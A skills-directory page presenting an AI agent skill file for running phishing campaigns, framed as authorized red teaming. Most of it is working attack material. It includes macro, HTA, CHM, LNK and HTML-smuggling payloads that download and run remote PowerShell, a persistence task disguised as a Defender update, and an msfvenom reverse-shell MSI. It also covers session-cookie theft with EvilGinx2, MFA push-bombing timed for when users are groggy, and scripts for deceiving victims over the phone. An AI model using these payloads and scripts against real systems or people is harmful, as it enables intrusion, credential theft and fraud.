Skip to content
Back to skills

Redteam Phishing

BSecurity

End-to-end phishing campaign methodology for authorized red team operations. Covers sending infrastructure buildout (GoPhish Docker deployment, Postfix/Dovecot hardened MTA, Mailgun/SES/SendGrid relay, domain acquisition and warming, SPF/DKIM/DMARC full alignment), payload delivery vectors (Office VBA macros with stomping and AMSI-safe cradles, HTA droppers via mshta, ISO/IMG MotW bypass containers, LNK shortcut hijacking, OneNote .one embedded payloads, HTML smuggling with JavaScript blob co...

  • 16 stars
  • 0 votes
  • 0 copies
  • 2 views
  • Added November 17, 2026
securityjavascriptpythonrustgojavashellbashexpressdockeraws

Works with

  • cli
  • api

Security analysis

B80/100
  • mediumUses curl or wget to download content
  • mediumUses curl or wget to download content
  • criticalModifies startup scripts or system services for persistence

Pro shows the line behind each finding and how to fix it

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill redteam-phishing --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Redteam Phishing?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Redteam Phishing
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-redteam-phishing/badge)](https://www.skillsdirectory.com/skills/anandjogawade-redteam-phishing)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: redteam-phishing
description: End-to-end phishing campaign methodology for authorized red team operations. Covers sending infrastructure buildout (GoPhish Docker deployment, Postfix/Dovecot hardened MTA, Mailgun/SES/SendGrid relay, domain acquisition and warming, SPF/DKIM/DMARC full alignment), payload delivery vectors (Office VBA macros with stomping and AMSI-safe cradles, HTA droppers via mshta, ISO/IMG MotW bypass containers, LNK shortcut hijacking, OneNote .one embedded payloads, HTML smuggling with JavaScript blob construction, CHM compiled-help payloads, SVG script injection, PDF JavaScript execution, MSI installer abuse, ClickOnce deployment hijacking, DLL sideloading through legitimate installers), email authentication bypass (SPF softfail exploitation, DKIM replay forwarding, display-name spoofing, homoglyph/IDN domain registration, cousin domain registration, SubCA S/MIME abuse, ARC header manipulation), credential harvesting with MFA interception (EvilGinx2 transparent AitM proxy
keywords:
- phishing
- spearphishing
- GoPhish
- EvilGinx2
- credential harvesting
- MFA bypass
- HTML smuggling
- ISO payload
- macro weaponization
- quishing
- QR phishing
- callback phishing
- BazarCall
- email spoofing
- SPF bypass
- DKIM replay
- display name spoof
- homoglyph
- pretext
- vishing
- AitM
- adversary in the middle
- email evasion
- phishlet
- landing page clone
- SMTP relay
- domain aging
- campaign tracking
tools:
- gophish
- evilginx2
- modlishka
- muraena
- evilnovnc
- king-phisher
- set (social-engineer-toolkit)
- dnstwist
- urlcrazy
- theHarvester
- postfix
- opendkim
- certbot
opsec: high
---

# Offensive Phishing — Comprehensive Campaign Methodology

Phishing is the most consistent initial access path in adversary simulation. The
operator constructs infrastructure, pretexts, and payloads that must survive the
same email security stack a real attacker would face. This skill spans the full
lifecycle: building resilient sending infrastructure, crafting payloads that reach
the inbox, capturing credentials through multi-factor interception, and evading
every layer of gateway and endpoint inspection.

Explicit written authorization and an approved target list are prerequisites for
every action below. Scope, escalation contacts, and deconfliction procedures must
be established before the first email is composed.

## Operational Sequence

1. Acquire and warm a lookalike domain four to eight weeks ahead of the engagement window.
2. Configure DNS authentication records — SPF, DKIM via OpenDKIM, and DMARC — for full alignment.
3. Deploy GoPhish on isolated infrastructure behind a valid TLS certificate.
4. Connect an SMTP relay (self-hosted Postfix or a commercial provider) and verify deliverability.
5. Gather OSINT on the target organization to inform pretext and persona construction.
6. Build or clone credential-harvesting landing pages; stand up EvilGinx2 phishlets when MFA interception is required.
7. Select and prepare payload vectors matched to the target's email security posture.
8. Dispatch test emails to operator-controlled mailboxes to confirm rendering, tracking, and payload delivery.
9. Launch the campaign in staggered waves; monitor open, click, and submission rates in real time.
10. Collect evidence, tear down infrastructure, and compile metrics for reporting.

---

## 1. Infrastructure Buildout

Sending infrastructure is the foundation. Poor setup means every email lands in
quarantine regardless of pretext quality.

### 1.1 Domain Acquisition and Warming

Register domains that visually or semantically resemble the target. Effective
confusion patterns include homoglyph substitution (rn→m, vv→w, 1→l, 0→O),
TLD swaps (.net/.org/.co instead of .com), hyphenated variants, and cousin
domains (targetcorp-portal.com, targetcorp-sso.com, tc-services.net).

```bash
# Enumerate candidate lookalike domains
dnstwist --registered --format json targetcorp.com > candidates.json
urlcrazy -r targetcorp.com

# Check WHOIS for a candidate before purchasing
whois targetcorp-portal.com

# After registration, confirm resolution
dig +short targetcorp-portal.com @8.8.8.8
```

**Domain warming schedule:**

| Week | Activity | Daily Volume |
|------|----------|-------------|
| 1-2 | Host a benign landing page; submit to Bluecoat/FortiGuard for categorization as "Business" or "Technology" | 0 emails |
| 3 | Subscribe to newsletters from your domain; send benign transactional emails to test accounts | 5-10 emails |
| 4-5 | Increase legitimate send volume gradually; maintain newsletter subscriptions | 20-50 emails |
| 6-8 | IP and domain now have baseline reputation; ready for campaign | Campaign volume |

**Multiple sending domains:** register two to three lookalike domains. If the
primary domain gets blocklisted mid-campaign, pivot to a backup without losing
the engagement window.

### 1.2 DNS Authentication — SPF, DKIM, DMARC

Full alignment means the envelope-from domain, the DKIM signing domain, and the
header-from domain all match. Without this, modern gateways reject or quarantine.

```bash
# --- SPF Record ---
# Authorize your sending IP(s) and optionally a relay service
# Hard fail (-all) is stronger but may trigger stricter handling during warmup
# Start with softfail (~all) during warmup, switch to -all before campaign
# DNS TXT record on targetcorp-portal.com:
#   v=spf1 ip4:203.0.113.50 include:_spf.google.com ~all

# --- DKIM Setup with OpenDKIM ---
# Install
apt install opendkim opendkim-tools

# Generate 2048-bit signing key
opendkim-genkey -s mail -d targetcorp-portal.com -b 2048
# This creates mail.private (signing key) and mail.txt (DNS record)

# Configure OpenDKIM
cat >> /etc/opendkim.conf << 'DKIMEOF'
Domain                  targetcorp-portal.com
KeyFile                 /etc/opendkim/keys/targetcorp-portal.com/mail.private
Selector                mail
Socket                  inet:8891@localhost
DKIMEOF

# Add the DKIM public key as a DNS TXT record:
#   mail._domainkey.targetcorp-portal.com
#   Value: contents of mail.txt

systemctl restart opendkim

# --- DMARC Record ---
# DNS TXT record on _dmarc.targetcorp-portal.com:
#   v=DMARC1; p=none; rua=mailto:dmarc@targetcorp-portal.com; fo=1
# p=none during warmup; change to p=quarantine before the campaign
# to look like a legitimately hardened domain

# --- Verify All Records ---
dig TXT targetcorp-portal.com | grep spf
dig TXT mail._domainkey.targetcorp-portal.com
dig TXT _dmarc.targetcorp-portal.com
```

### 1.3 GoPhish Deployment

GoPhish handles campaign management, landing page hosting, email template
rendering, link tracking, and result collection.

**Docker rapid deployment:**

```bash
# Docker Compose for GoPhish with TLS
cat > docker-compose.yml << 'DCEOF'
version: '3'
services:
  gophish:
    image: gophish/gophish:latest
    ports:
      - "3333:3333"   # Admin panel
      - "443:443"     # Phishing server
    volumes:
      - ./config.json:/opt/gophish/config.json
      - /etc/letsencrypt/live/phish.targetcorp-portal.com:/certs:ro
    restart: unless-stopped
DCEOF

# Generate TLS certificate first
certbot certonly --standalone -d phish.targetcorp-portal.com

# GoPhish configuration
cat > config.json << 'CFGEOF'
{
  "admin_server": {
    "listen_url": "0.0.0.0:3333",
    "use_tls": true,
    "cert_path": "/certs/fullchain.pem",
    "key_path": "/certs/privkey.pem"
  },
  "phish_server": {
    "listen_url": "0.0.0.0:443",
    "use_tls": true,
    "cert_path": "/certs/fullchain.pem",
    "key_path": "/certs/privkey.pem"
  }
}
CFGEOF

docker-compose up -d
# Default credentials in container logs: docker-compose logs gophish | grep password
```

**Non-Docker deployment:**

```bash
# Download release binary
wget https://github.com/gophish/gophish/releases/latest/download/gophish-linux-64bit.zip
unzip gophish-linux-64bit.zip -d /opt/gophish
chmod +x /opt/gophish/gophish

# Start GoPhish behind a systemd service for persistence
cat > /etc/systemd/system/gophish.service << 'SVCEOF'
[Unit]
Description=GoPhish Phishing Framework
After=network.target

[Service]
Type=simple
WorkingDirectory=/opt/gophish
ExecStart=/opt/gophish/gophish
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
SVCEOF

systemctl daemon-reload && systemctl enable --now gophish
```

### 1.4 SMTP Relay Configuration

**Option A — Self-hosted Postfix with OpenDKIM:**

```bash
# Install Postfix and OpenDKIM
apt install postfix opendkim opendkim-tools

# Core Postfix configuration
postconf -e "myhostname = mail.targetcorp-portal.com"
postconf -e "mydomain = targetcorp-portal.com"
postconf -e "myorigin = /etc/mailname"
postconf -e "inet_interfaces = all"
postconf -e "smtp_tls_security_level = may"
postconf -e "smtp_tls_note_starttls_offer = yes"
postconf -e "smtpd_tls_cert_file = /etc/letsencrypt/live/mail.targetcorp-portal.com/fullchain.pem"
postconf -e "smtpd_tls_key_file = /etc/letsencrypt/live/mail.targetcorp-portal.com/privkey.pem"
postconf -e "smtpd_use_tls = yes"

# Integrate OpenDKIM milter
postconf -e "milter_default_action = accept"
postconf -e "milter_protocol = 6"
postconf -e "smtpd_milters = inet:localhost:8891"
postconf -e "non_smtpd_milters = inet:localhost:8891"

echo "mail.targetcorp-portal.com" > /etc/mailname
systemctl restart postfix opendkim
```

**Option B — Commercial SMTP relay (reputation borrowing):**

```bash
# Amazon SES relay through Postfix
postconf -e "relayhost = [email-smtp.us-east-1.amazonaws.com]:587"
postconf -e "smtp_sasl_auth_enable = yes"
postconf -e "smtp_sasl_security_options = noanonymous"
postconf -e "smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd"
postconf -e "smtp_tls_security_level = encrypt"
postconf -e "smtp_tls_CAfile = /etc/ssl/certs/ca-certificates.crt"

echo "[email-smtp.us-east-1.amazonaws.com]:587 AKIAEXAMPLE:SESsecretkey" > /etc/postfix/sasl_passwd
postmap /etc/postfix/sasl_passwd
chmod 600 /etc/postfix/sasl_passwd*
systemctl restart postfix

# Mailgun or SendGrid follow a similar relay pattern
# Benefit: inheriting the relay provider's IP reputation
# Risk: relay provider may detect phishing content and suspend the account
```

**IP warming for self-hosted:**

Send 5-10 emails per day for the first week, increasing by 2x each subsequent
week. Target a mix of major providers (Gmail, Outlook, Yahoo) to establish sender
reputation across ecosystems.

---

## 2. Payload Delivery Vectors

Select the payload vector based on what the target's email gateway permits. If
one vector is blocked, pivot to the next in priority.

### 2.1 Office Macro Weaponization (VBA)

Classic and still effective where macro-enabled documents are permitted. Use
VBA stomping to strip the readable VBA source from the document while preserving
the compiled p-code, defeating static analysis tools that inspect VBA source.

```vba
' Module: ThisDocument — fires on document open
' auto_open (Excel) or AutoOpen (Word) triggers
Sub AutoOpen()
    MacroWork
End Sub

Sub Document_Open()
    MacroWork
End Sub

Private Sub MacroWork()
    Dim shellObj As Object
    Set shellObj = CreateObject("WScript.Shell")
    
    ' Download cradle — pulls second-stage from operator infrastructure
    Dim cradle As String
    cradle = "powershell -nop -w hidden -ep bypass -c ""IEX((New-Object Net.WebClient).DownloadString('https://cdn.targetcorp-portal.com/update.ps1'))"""
    
    shellObj.Run cradle, 0, False
End Sub
```

**VBA with WMI process creation (avoids direct shell.Run detection):**

```vba
Sub AutoOpen()
    Dim svc As Object
    Set svc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
    svc.Create "powershell -nop -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('https://cdn.targetcorp-portal.com/stage2.ps1'))"
End Sub
```

**VBA with scheduled task persistence (payload survives document close):**

```vba
Sub AutoOpen()
    Shell "schtasks /create /tn ""WindowsDefenderUpdate"" /tr ""powershell -nop -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('https://cdn.targetcorp-portal.com/beacon.ps1'))"" /sc once /st 00:00 /f", vbHide
    Shell "schtasks /run /tn ""WindowsDefenderUpdate""", vbHide
End Sub
```

### 2.2 HTML Smuggling

The email body contains only HTML and JavaScript — no attachments for the
gateway to scan. The payload is reconstructed client-side from a base64-encoded
blob and auto-downloaded to the victim's browser.

```html
<!DOCTYPE html>
<html>
<head><title>Loading Document...</title></head>
<body>
<h2>Your document is loading, please wait...</h2>
<p id="status">Preparing secure download...</p>
<script>
(function() {
    // Base64 payload (truncated — replace with actual encoded content)
    var b64 = "UEsDBBQAAAAIAA...";  // base64-encoded ISO, ZIP, or EXE
    
    // Decode
    var raw = atob(b64);
    var bytes = new Uint8Array(raw.length);
    for (var i = 0; i < raw.length; i++) {
        bytes[i] = raw.charCodeAt(i);
    }
    
    // Construct blob and trigger download
    var blob = new Blob([bytes], {type: "application/octet-stream"});
    var link = document.createElement("a");
    link.href = window.URL.createObjectURL(blob);
    link.download = "Q3-Financial-Review.iso";
    link.style.display = "none";
    document.body.appendChild(link);
    
    // Auto-click after brief delay (looks more natural)
    setTimeout(function() {
        link.click();
        document.getElementById("status").textContent = "Download started. Please open the file to view.";
        window.URL.revokeObjectURL(link.href);
    }, 2000);
})();
</script>
</body>
</html>
```

**Obfuscated variant (evade JavaScript static analysis):**

```html
<script>
// Split payload across multiple variables and XOR-decode at runtime
var k = 0x42;
var enc = [/* XOR-encoded byte array */];
var dec = enc.map(function(b) { return b ^ k; });
var blob = new Blob([new Uint8Array(dec)], {type: "application/octet-stream"});
// ... download trigger same as above
</script>
```

### 2.3 ISO/IMG Container Payloads

ISO and IMG files auto-mount on Windows 10/11 when double-clicked. Files within
the mounted container lack the Mark-of-the-Web flag, bypassing SmartScreen
warnings and macro restrictions.

```bash
# Directory structure inside the ISO
mkdir -p /tmp/iso_staging
cp payload.dll /tmp/iso_staging/
# Hide the DLL: set file attribute via mkisofs hidden flag

# Create a shortcut (LNK) that executes the hidden payload
python3 << 'PYLNK'
import pylnk3
lnk = pylnk3.Lnk()
lnk.target = r'C:\Windows\System32\rundll32.exe'
lnk.arguments = r'payload.dll,DllMain'
lnk.icon_file = r'C:\Windows\System32\imageres.dll'
lnk.icon_index = 15  # PDF or document icon
lnk.working_dir = r''
lnk.save('/tmp/iso_staging/Q3-Financial-Summary.lnk')
PYLNK

# Generate the ISO image
mkisofs -J -r -o /tmp/Q3-Financial-Summary.iso /tmp/iso_staging/
# or:
genisoimage -J -r -o /tmp/Q3-Financial-Summary.iso /tmp/iso_staging/
```

### 2.4 HTA Dropper via mshta

HTA files execute VBScript or JavaScript through the mshta.exe engine, bypassing
many application whitelisting controls.

```html
<html>
<head>
<HTA:APPLICATION ID="update" APPLICATIONNAME="Security Update"
  BORDER="none" SHOWINTASKBAR="no" WINDOWSTATE="minimize"/>
<script language="VBScript">
Sub Window_onLoad
    Set ws = CreateObject("WScript.Shell")
    ws.Run "powershell -nop -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('https://cdn.targetcorp-portal.com/stage2.ps1'))", 0
    self.close
End Sub
</script>
</head>
<body></body>
</html>
```

**Delivery methods:**
```
# Direct URL execution (email link)
mshta https://cdn.targetcorp-portal.com/update.hta

# Embedded in ISO or ZIP
# Attached directly (if .hta not blocked by gateway)
```

### 2.5 LNK Shortcut Hijacking

Windows shortcut files execute arbitrary commands when clicked. Set the icon
to resemble a PDF or Word document.

```python
# Generate malicious LNK with pylnk3
import pylnk3

lnk = pylnk3.Lnk()
lnk.target = r'C:\Windows\System32\cmd.exe'
lnk.arguments = r'/c start /min powershell -nop -w hidden -ep bypass -c "IEX((New-Object Net.WebClient).DownloadString(\'https://cdn.targetcorp-portal.com/beacon.ps1\'))"'
lnk.icon_file = r'C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE'
lnk.icon_index = 0
lnk.save('Important-Memo.doc.lnk')
```

### 2.6 OneNote Embedded Payloads (.one files)

OneNote files can embed arbitrary file types as clickable attachments. The
user sees a visual overlay instructing them to double-click.

```bash
# Prepare the embedded HTA or BAT payload
cat > payload.hta << 'HTAEOF'
<html><head>
<script language="VBScript">
Sub Window_onLoad
    CreateObject("WScript.Shell").Run "powershell -nop -w hidden -ep bypass -c IEX((IWR 'https://cdn.targetcorp-portal.com/beacon.ps1' -UseBasicParsing))", 0
    self.close
End Sub
</script></head><body></body></html>
HTAEOF

# Embed into a .one file using OneNotePayloadCreator or manual crafting
# The .one format is a binary container — use dedicated tooling:
# - https://github.com/mrd0x/onenote-abuse
# Place a visual overlay image on top saying "Double-click to view document"
```

### 2.7 CHM Compiled Help Payloads

CHM files render HTML through the Windows help engine (hh.exe) and can execute
JavaScript or ActiveX controls.

```html
<!-- topic.htm — placed inside the CHM -->
<html><body>
<h1>Quarterly Report</h1>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",cmd.exe,/c powershell -nop -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('https://cdn.targetcorp-portal.com/stage2.ps1'))">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>x.Click();</SCRIPT>
</body></html>
```

```bash
# Compile CHM from HTML
# Requires hhc.exe (HTML Help Workshop) or equivalent
hhc project.hhp  # Generates output.chm
```

### 2.8 SVG with Embedded Script

SVG files execute JavaScript through onload or other event attributes. Useful
when image uploads are permitted but HTML is not.

```xml
<svg xmlns="http://www.w3.org/2000/svg" onload="
  var x=new XMLHttpRequest();
  x.open('GET','https://cdn.targetcorp-portal.com/redirect',false);
  x.send();
  document.location='https://login.targetcorp-portal.com/auth';
">
</svg>
```

### 2.9 PDF with JavaScript

PDF files can contain JavaScript that executes on open. Limited by reader
security settings but effective against Adobe Acrobat with default configuration.

```
# Generate a PDF with embedded JavaScript using tools like:
# - pdf-parser for manual construction
# - Metasploit: use exploit/multi/fileformat/adobe_pdf_embedded_exe
# - Custom: embed app.launchURL("https://phish.targetcorp-portal.com/auth") call
```

### 2.10 MSI Installer Payloads

MSI packages execute with Windows Installer service privileges and can embed
arbitrary executables or scripts as custom actions.

```bash
# Generate MSI with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=203.0.113.50 LPORT=443 -f msi -o SecurityUpdate.msi

# Or build a custom MSI with WiX Toolset containing a custom action
# that runs your payload during installation
```

### 2.11 ClickOnce Deployment Abuse

ClickOnce applications deploy through browser links and execute .NET code with
the trust level the user grants. The .application manifest triggers installation.

```
# Create a ClickOnce application in Visual Studio with malicious payload
# Publish to your infrastructure
# User clicks link → "Install" prompt → payload executes as the user
# Effective because ClickOnce is a legitimate Microsoft deployment mechanism
```

### 2.12 DLL Sideloading via Legitimate Installer

Package a legitimate application installer alongside a malicious DLL that the
installer loads during execution. The legitimate binary is signed, reducing
suspicion.

```bash
# Identify a signed executable that loads a DLL from its working directory
# Common candidates: legitimate software installers, Microsoft utilities
# Place your malicious DLL with the expected name next to the signed EXE
# Package both in a ZIP or ISO

# Example: Teams installer loads specific DLLs
# Replace one with your payload DLL that proxies legitimate calls
# and executes your code on DllMain
```

---

## 3. Email Authentication Bypass Techniques

Understanding authentication mechanisms reveals exploitable gaps between
specification and enforcement.

### 3.1 SPF Softfail Exploitation

Organizations frequently configure SPF with `~all` (softfail) rather than
`-all` (hardfail). Softfail messages receive a header tag but gateways often
deliver them, especially when DKIM passes or when the recipient gateway treats
softfail as informational.

```bash
# Identify softfail configuration
dig TXT targetcorp.com | grep -i spf
# If response contains ~all → softfail; emails from unauthorized IPs tagged but delivered

# Exploitation: send from any IP with your own valid DKIM
# The message gets SPF softfail but DKIM pass → many gateways deliver
# Combine with display-name spoofing for maximum effectiveness
```

### 3.2 DKIM Replay Attack

Capture a legitimately DKIM-signed email from a trusted sender, then replay
the signed body with modified envelope headers to redirect delivery.

```python
import smtplib
from email import message_from_file

# Step 1: Send a benign email through a service that DKIM-signs
#         with a domain the target's gateway trusts
# Step 2: Capture the raw signed message (including DKIM-Signature header)

with open("captured_signed_message.eml", "r") as f:
    msg = message_from_file(f)

# Step 3: Replay with modified envelope (not headers — DKIM covers headers)
# The DKIM signature validates because the signed content is untouched
with smtplib.SMTP("mail.targetcorp-portal.com", 587) as server:
    server.starttls()
    server.login("user", "pass")
    server.sendmail(
        "noreply@trusted-sender.com",    # Envelope from (not signed)
        ["victim@targetcorp.com"],         # Envelope to
        msg.as_string()                    # Original DKIM-signed content intact
    )
```

### 3.3 Display Name Spoofing

The simplest bypass with the highest return. Most email clients render the
display name prominently while the actual sender address is collapsed or hidden.

```text
# Display name set to impersonate a trusted entity
From: "IT Security Team <security@targetcorp.com>" <noreply@targetcorp-portal.com>
From: "John Smith - CFO" <jsmith@targetcorp-portal.com>
From: "DocuSign via Security Team" <docusign@targetcorp-portal.com>

# Users see: IT Security Team <security@targetcorp.com>
# Actual sender: noreply@targetcorp-portal.com (your domain, full SPF/DKIM/DMARC pass)
```

### 3.4 Homoglyph and IDN Domain Registration

Register domains using characters that visually resemble the target's domain
when rendered in common fonts.

```text
# Visual confusion characters
targetcorp.com  →  targetc0rp.com    (zero for 'o')
targetcorp.com  →  tаrgetcorp.com    (Cyrillic 'а' for Latin 'a')
targetcorp.com  →  targetcоrp.com    (Cyrillic 'о' for Latin 'o')
targetcorp.com  →  targetcorp.co     (TLD truncation)
targetcorp.com  →  target-corp.com   (hyphen insertion)
targetcorp.com  →  targetcorq.com    (adjacent keyboard char)
targetcorp.com  →  targetcorp.com.evil.com  (subdomain of attacker domain)

# IDN (Internationalized Domain Name) abuse
# Register xn--trgetcorp-... that renders as targetcorp in browser bars
# Many registrars block obvious homoglyphs but creative combinations slip through
```

### 3.5 ARC Header Manipulation

Authenticated Received Chain (ARC) allows intermediate mail handlers to preserve
authentication results through forwarding. Some gateways trust ARC headers
even when the actual SPF/DKIM fails, creating an exploitation window.

```text
# If the target's gateway trusts ARC from certain intermediaries:
# Forge or replay ARC headers claiming authentication passed at an earlier hop
# This is implementation-specific — test against the target's gateway
# ARC-Authentication-Results, ARC-Message-Signature, ARC-Seal headers
```

### 3.6 SubCA S/MIME Abuse

If the operator obtains a subordinate CA certificate or a valid S/MIME
certificate, they can send signed emails that display a trust indicator in
the recipient's email client.

```text
# Purchase or generate an S/MIME certificate for your phishing domain
# Sign outgoing emails — recipient sees a "Signed" indicator
# Combined with display-name spoofing, this significantly increases trust
# Some corporate gateways treat signed emails with reduced scrutiny
```

---

## 4. Credential Harvesting with MFA Interception

Capturing passwords alone is insufficient when MFA is deployed. Modern
credential harvesting captures the authenticated session rather than just
the password.

### 4.1 EvilGinx2 — Adversary-in-the-Middle Transparent Proxy

EvilGinx2 sits between the victim and the legitimate authentication portal,
proxying every request and response in real time. It captures credentials
during the login flow and, critically, intercepts session cookies after MFA
completes — obtaining a fully authenticated session.

```bash
# Deploy EvilGinx2
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2 && make
sudo ./build/evilginx2 -p ./phishlets

# Configure within the EvilGinx2 console
: config domain targetcorp-portal.com
: config ipv4 203.0.113.50

# Deploy a Microsoft 365 phishlet
: phishlets hostname o365 login.targetcorp-portal.com
: phishlets enable o365

# Generate a lure URL for distribution
: lures create o365
: lures edit 0 redirect_url https://www.targetcorp.com
: lures get-url 0
# Output: https://login.targetcorp-portal.com/YjK3mQ

# Monitor captured sessions
: sessions
# Each session contains: username, password, AND session cookies
# Import cookies into browser to access the authenticated session directly
```

**What EvilGinx2 captures:**
- Username and password in plaintext
- MFA completion status (TOTP, push notification, SMS — all transparent)
- Session cookies (Bearer tokens, ESTSAUTH for M365, etc.)
- Authorization codes and tokens

**What EvilGinx2 cannot bypass:**
- FIDO2/WebAuthn hardware keys (origin-bound authentication)
- Certificate-based authentication (mutual TLS)

### 4.2 Modlishka Session Relay

Alternative AitM framework that proxies the target site and captures session
data. Lighter than EvilGinx2 and easier to configure for custom targets.

```bash
# Deploy Modlishka
git clone https://github.com/drk1wi/Modlishka.git
cd Modlishka && make

# Configuration
cat > config.json << 'MODEOF'
{
  "proxyDomain": "targetcorp-portal.com",
  "listeningAddress": "0.0.0.0",
  "target": "login.microsoftonline.com",
  "targetResources": "*.microsoftonline.com,*.microsoft.com",
  "terminateTriggers": "https://login.microsoftonline.com/common/oauth2",
  "terminateRedirectUrl": "https://www.targetcorp.com",
  "trackingCookie": "id",
  "trackingParam": "id"
}
MODEOF

./Modlishka -config config.json
```

### 4.3 EvilnoVNC — Browser-in-Browser Capture

EvilnoVNC presents the victim with a real browser session running on the
attacker's server via noVNC. The victim interacts with the actual login page
through a proxied browser window, while the attacker captures everything.

```bash
# Deploy EvilnoVNC
git clone https://github.com/JoelGMSec/EvilnoVNC.git
cd EvilnoVNC

# Start with the target URL
./start.sh -u "https://login.microsoftonline.com" -p 8080

# The victim visits https://phish.targetcorp-portal.com
# They see a real browser running login.microsoftonline.com
# Every keystroke, click, and resulting cookie is captured server-side
# Bypasses ALL client-side MFA (including FIDO2 in some implementations)
```

### 4.4 MFA Push Fatigue / Bombing

If the target uses push-notification MFA (Duo, Microsoft Authenticator, Okta
Verify), repeatedly trigger authentication prompts until the user approves one
to stop the notifications.

```text
# Methodology:
# 1. Obtain valid username:password (from previous phishing or credential stuffing)
# 2. Automate authentication attempts using the target's login API
# 3. Each attempt triggers a push notification to the user's phone
# 4. Send 20-50 notifications in rapid succession
# 5. User approves to make notifications stop → attacker gains access

# Timing: execute during early morning (3-5 AM) when users are groggy
# Combine with vishing: call the user pretending to be IT and say
#   "Please approve the security prompt to complete the update"

# Tools: MFASweep, custom scripts against O365/Okta APIs
```

### 4.5 Pixel-Perfect Login Page Cloning (Non-AitM)

For scenarios where transparent proxying is impossible, clone the login portal
and collect credentials through GoPhish.

```bash
# Clone a target login page
wget --mirror --convert-links --page-requisites \
     --no-parent --adjust-extension \
     "https://login.targetcorp.com/auth/"

# Modify form action to submit to GoPhish collection endpoint
# GoPhish handles credential capture natively when configured as a landing page

# Alternatively, use SingleFile browser extension for exact page capture
# Or: use HTTrack for more comprehensive mirroring
```

### 4.6 Real-Time Phishing Framework Comparison

| Feature | EvilGinx2 | Modlishka | Muraena | EvilnoVNC |
|---------|-----------|-----------|---------|-----------|
| MFA bypass | Yes (cookie capture) | Yes (session relay) | Yes (proxy) | Yes (browser capture) |
| FIDO2/WebAuthn bypass | No | No | No | Partial (depends on implementation) |
| Setup complexity | Medium | Low | Medium | Low |
| Target customization | Phishlets required | Config file | Config file | URL parameter |
| Detection difficulty | Medium | Medium | Medium | High |
| Session persistence | Captured cookies | Captured cookies | Captured cookies | Live session |

---

## 5. QR Code Phishing (Quishing)

QR codes bypass URL scanning because the link is encoded inside an image, not
as a clickable href in the email body.

### 5.1 Static QR Code Generation

```python
import qrcode

# Generate QR pointing to credential harvesting page
url = "https://login.targetcorp-portal.com/auth?ref=mfa-setup"
qr = qrcode.QRCode(version=1, box_size=10, border=4)
qr.add_data(url)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save("mfa_enrollment_qr.png")
```

### 5.2 Dynamic QR Codes for Per-Target Tracking

```python
import qrcode
import csv

# Generate unique QR codes per target for tracking
targets = [
    {"email": "jsmith@targetcorp.com", "token": "abc123"},
    {"email": "mjones@targetcorp.com", "token": "def456"},
]

for target in targets:
    url = f"https://login.targetcorp-portal.com/auth?t={target['token']}"
    qr = qrcode.make(url)
    qr.save(f"qr_{target['token']}.png")
    # Embed each unique QR in that target's personalized email
```

### 5.3 QR Code Pretexts

```text
Scenario: MFA enrollment
  "Scan this QR code with your phone to complete the new MFA setup.
   This is required by IT before Friday."

Scenario: WiFi guest network
  "Scan to join the secure guest network for the quarterly meeting."

Scenario: Document access
  "Scan to access the shared document on your mobile device."

Scenario: QR in PDF attachment
  Embed QR code inside a PDF "security guide" document
  "Scan the QR code on page 2 to verify your identity."
```

---

## 6. Callback Phishing (BazarCall / BazaCall)

Callback phishing sends a benign-looking email with no links or attachments —
just a phone number. When the target calls, the attacker social-engineers them
into installing remote access software or executing a payload.

### 6.1 Email Template

```text
Subject: Subscription Renewal - Charge of $499.99

Dear Customer,

Your annual subscription to [Premium Security Suite / Cloud Storage Pro /
Enterprise Analytics] has been renewed. A charge of $499.99 has been applied
to your account.

If you did not authorize this charge, please call our support team immediately
at +1 (555) 123-4567 to process a cancellation within 24 hours.

Invoice #: INV-2026-847291
Amount: $499.99
Date: [engagement date]

Customer Support
[Fake Company Name]
```

### 6.2 Call Handling Script

```text
When the target calls:
1. Greet professionally: "Thank you for calling [Company] support."
2. Verify their identity: ask for email and "invoice number" (builds trust).
3. Express concern: "I see the charge. Let me help you cancel immediately."
4. Direct to action: "I need to verify your account. Please visit
   [attacker URL] and download our secure cancellation form."
5. Walk them through execution: "Open the file and follow the prompts."
6. Confirm: "The cancellation is processing. You'll receive a confirmation
   email within 24 hours."

# The downloaded file is your payload (ISO with LNK, HTA, or MSI)
# The user has been socially engineered to execute it themselves
```

### 6.3 Teams/Slack/LinkedIn Phishing

```text
# Microsoft Teams message phishing
# If external messaging is enabled, send directly to target users
# Pretexts: IT notification, shared document, meeting invitation
# Link to credential harvesting page

# LinkedIn InMail
# Target specific employees with job-related pretexts
# "We noticed your profile matches a position we're filling..."
# Link to fake application portal that harvests credentials

# Slack Connect
# Request external channel connection with target workspace
# Share malicious files or credential harvesting links
```

---

## 7. OSINT-Driven Pretext Development

Effective pretexts are built from public intelligence about the target, not
from generic templates.

### 7.1 Reconnaissance

```bash
# Email format discovery
theHarvester -d targetcorp.com -b google,bing,linkedin -l 500

# LinkedIn employee enumeration
# Identify: org chart, department names, recent hires, departures
# Note: manager names, project names, vendor relationships

# Domain intelligence
amass enum -passive -d targetcorp.com
subfinder -d targetcorp.com -silent

# Technology stack identification (informs payload selection)
whatweb targetcorp.com
wappalyzer targetcorp.com
# If Microsoft stack → O365 phishlet; if Google Workspace → Google phishlet

# Recent news and announcements
# Job postings reveal internal tools, technologies, and priorities
# Press releases reveal partnerships and vendor relationships
